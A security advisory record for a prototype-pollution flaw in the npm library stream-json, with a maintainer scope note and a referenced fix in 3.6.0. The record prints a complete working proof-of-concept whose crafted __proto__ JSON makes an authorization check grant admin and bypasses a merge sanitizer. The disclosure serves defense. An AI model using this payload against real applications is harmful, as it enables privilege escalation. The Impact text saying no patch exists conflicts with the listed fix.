{"id":"CVE-2026-104183","aliases":["GHSA-mjw6-4jj6-33hc"],"url":"https://o3.security/vulnerability/CVE-2026-104183","summary":"stream-json: Prototype pollution: Assembler writes this.current[this.key] on plain objects","details":"### Summary\nA prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype.\n\n### Details\nThe streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a __proto__ key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.\n\n### PoC\n\nRun:\n```bash\nnode poc-stream-json-proto-injection.mjs\n```\n\nFull proof-of-concept source (poc-stream-json-proto-injection.mjs):\n```js\n// stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys\n// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)\n// Root cause: Assembler builds every object as a plain `Object` and writes\n//   `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment,\n//   ToPropertyKey → inherited Object.prototype __proto__ setter fires)\n// Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change\n// Run:  node poc-stream-json-proto-injection.mjs   (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)\nimport { parser } from 'stream-json';\nimport jsoncParser from 'stream-json/jsonc/Parser.js';\nimport { streamValues } from 'stream-json/streamers/stream-values.js';\nimport { streamObject } from 'stream-json/streamers/stream-object.js';\nimport { Readable } from 'node:stream';\n\nconst sv = (input, P = parser) => new Promise((res, rej) => {\n  const vals = [];\n  Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())\n    .on('data', d => vals.push(d.value)).on('end', () => res(vals)).on('error', rej);\n});\nconst so = (input) => new Promise((res, rej) => {\n  const out = {};\n  Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())\n    .on('data', d => { out[d.key] = d.value; }).on('end', () => res(out)).on('error', rej);\n});\n\nlet pass = 0, fail = 0;\nconst check = (name, cond) => { if (cond) { pass++; console.log(`  PASS  ${name}`); } else { fail++; console.log(`  FAIL  ${name}`); } };\n\nconst INPUT = '{\"__proto__\":{\"isAdmin\":true,\"role\":\"superuser\"},\"name\":\"bob\",\"age\":30}';\nconst baseline = JSON.parse(INPUT);\nconst sv1 = (await sv(INPUT))[0];\nconst so1 = await so(INPUT);\nconst jc1 = (await sv(INPUT, jsoncParser))[0];\nconst nested = (await sv('{\"user\":{\"__proto__\":{\"isAdmin\":true},\"name\":\"alice\"}}'))[0].user;\nconst arrProto = (await sv('{\"__proto__\":[\"isAdmin\",\"role\"],\"name\":\"bob\"}'))[0];\nconst prim = (await sv('{\"__proto__\":\"x\",\"name\":\"bob\"}'))[0];\nconst ctor = (await sv('{\"constructor\":{\"prototype\":{\"polluted\":1}},\"name\":\"bob\"}'))[0];\n\nconsole.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) ==');\ncheck('StreamValues: Object.keys hides __proto__/isAdmin ([\"name\",\"age\"])', JSON.stringify(Object.keys(sv1)) === '[\"name\",\"age\"]');\ncheck('StreamValues: JSON.stringify hides injected props ({\"name\":\"bob\",\"age\":30})', JSON.stringify(sv1) === '{\"name\":\"bob\",\"age\":30}');\ncheck('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin'));\ncheck('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true);\ncheck('StreamValues: obj.role === \"superuser\"', sv1.role === 'superuser');\ncheck('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype);\ncheck('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true && Object.keys(so1).length === 2);\ncheck('jsonc parser (comments variant): same read-through', jc1.isAdmin === true && JSON.stringify(Object.keys(jc1)) === '[\"name\",\"age\"]');\ncheck('NESTED: user.isAdmin === true, own keys [\"name\"]', nested.isAdmin === true && JSON.stringify(Object.keys(nested)) === '[\"name\"]');\n\nconsole.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__ an OWN data key ==');\ncheck('JSON.parse: own __proto__ key visible', Object.keys(baseline).includes('__proto__'));\ncheck('JSON.parse: isAdmin undefined (no read-through)', baseline.isAdmin === undefined);\ncheck('JSON.parse: [[Prototype]] stays plain', Object.getPrototypeOf(baseline) === Object.prototype);\n\nconsole.log('== C. VARIANT: array-valued __proto__ → parsed object becomes array-like ==');\ncheck('proto is attacker Array (av[0]==\"isAdmin\", av[1]==\"role\")', arrProto[0] === 'isAdmin' && arrProto[1] === 'role');\ncheck('legit data lands at attacker-indexed position (av[2]==\"bob\", length 3)', arrProto[2] === 'bob' && arrProto.length === 3);\n\nconsole.log('== D. FAIL-CLOSED CONTROLS ==');\ncheck('primitive __proto__ value: no-op, plain proto (spec semantics)', Object.getPrototypeOf(prim) === Object.prototype && Object.keys(prim).length === 1);\ncheck('constructor key: harmless own prop', Object.prototype.hasOwnProperty.call(ctor, 'constructor') && ({}).polluted === undefined);\ncheck('NO GLOBAL Object.prototype pollution', ({}).polluted === undefined && ({}).isAdmin === undefined);\n\nconsole.log('== E. IMPACT: auth/flag decisions read attacker values; hardened-merge bypass ==');\nconst authorize = o => o.isAdmin === true && o.role === 'superuser';\ncheck('authorize(stream-json obj) === true (GRANT)', authorize(sv1) === true);\ncheck('authorize(JSON.parse twin) === false (DENY — control)', authorize(baseline) === false);\nconst target = { theme: 'light' };\nfor (const k in sv1) target[k] = sv1[k];        // typical naive/hardened merge (for-in)\ncheck('merge copies INHERITED isAdmin as OWN prop onto target (skip-__proto__ sanitizer defeated)',\n      Object.prototype.hasOwnProperty.call(target, 'isAdmin') && target.isAdmin === true);\nconst t2 = { theme: 'light' };\nfor (const k in baseline) t2[k] = baseline[k];   // JSON.parse twin stays clean\ncheck('merge of JSON.parse twin has NO isAdmin (control)', !Object.prototype.hasOwnProperty.call(t2, 'isAdmin'));\n\nconsole.log(`\\nRESULT: ${pass} PASS / ${fail} FAIL`);\nprocess.exit(fail ? 1 : 0);\n\n```\n\nObserved output (verbatim, Node 24.15.0, Windows):\n```\nRESULT: 21 PASS / 0 FAIL\n```\n\n### Impact\nPrototype pollution (CWE-1321). Applications parsing attacker-influenced streaming JSON can have authorization checks read attacker-controlled values. Affects stream-json <= 3.5.0; no patched version exists.\n\n---\n\n# Maintainer note on scope\n\nThe attack vector is local — stream-json's documented input is data the user owns (database dumps, exports, logs); it is not designed for JSON from the open internet, and the docs now say so. The parsed object's prototype was replaced (never the global `Object.prototype`); `\"__proto__\": null` additionally strips `Object.prototype` from the parsed object, so ordinary consumer code calling `hasOwnProperty()` throws. `Assembler` and `FlexAssembler` now create an own data property for a `__proto__` key, exactly as `JSON.parse` does.\n\n---","published":"2026-10-01T20:17:21.645Z","modified":"2026-10-21T02:54:31.515231484Z","cvss":{"score":5.1,"severity":"MEDIUM","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"stream-json","fixedVersion":"3.6.0"}],"fix":{"url":"https://github.com/uhop/stream-json/commit/2f2d35bbb547306991ded6487a279154d865a358","label":"uhop/stream-json@2f2d35b"},"references":[{"type":"WEB","url":"https://github.com/uhop/stream-json/releases/tag/3.6.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/104xxx/CVE-2026-104183.json"},{"type":"ADVISORY","url":"https://github.com/uhop/stream-json/security/advisories/GHSA-mjw6-4jj6-33hc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104183"},{"type":"FIX","url":"https://github.com/uhop/stream-json/commit/2f2d35bbb547306991ded6487a279154d865a358"},{"type":"PACKAGE","url":"https://github.com/uhop/stream-json"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:54:31.515231484Z"}}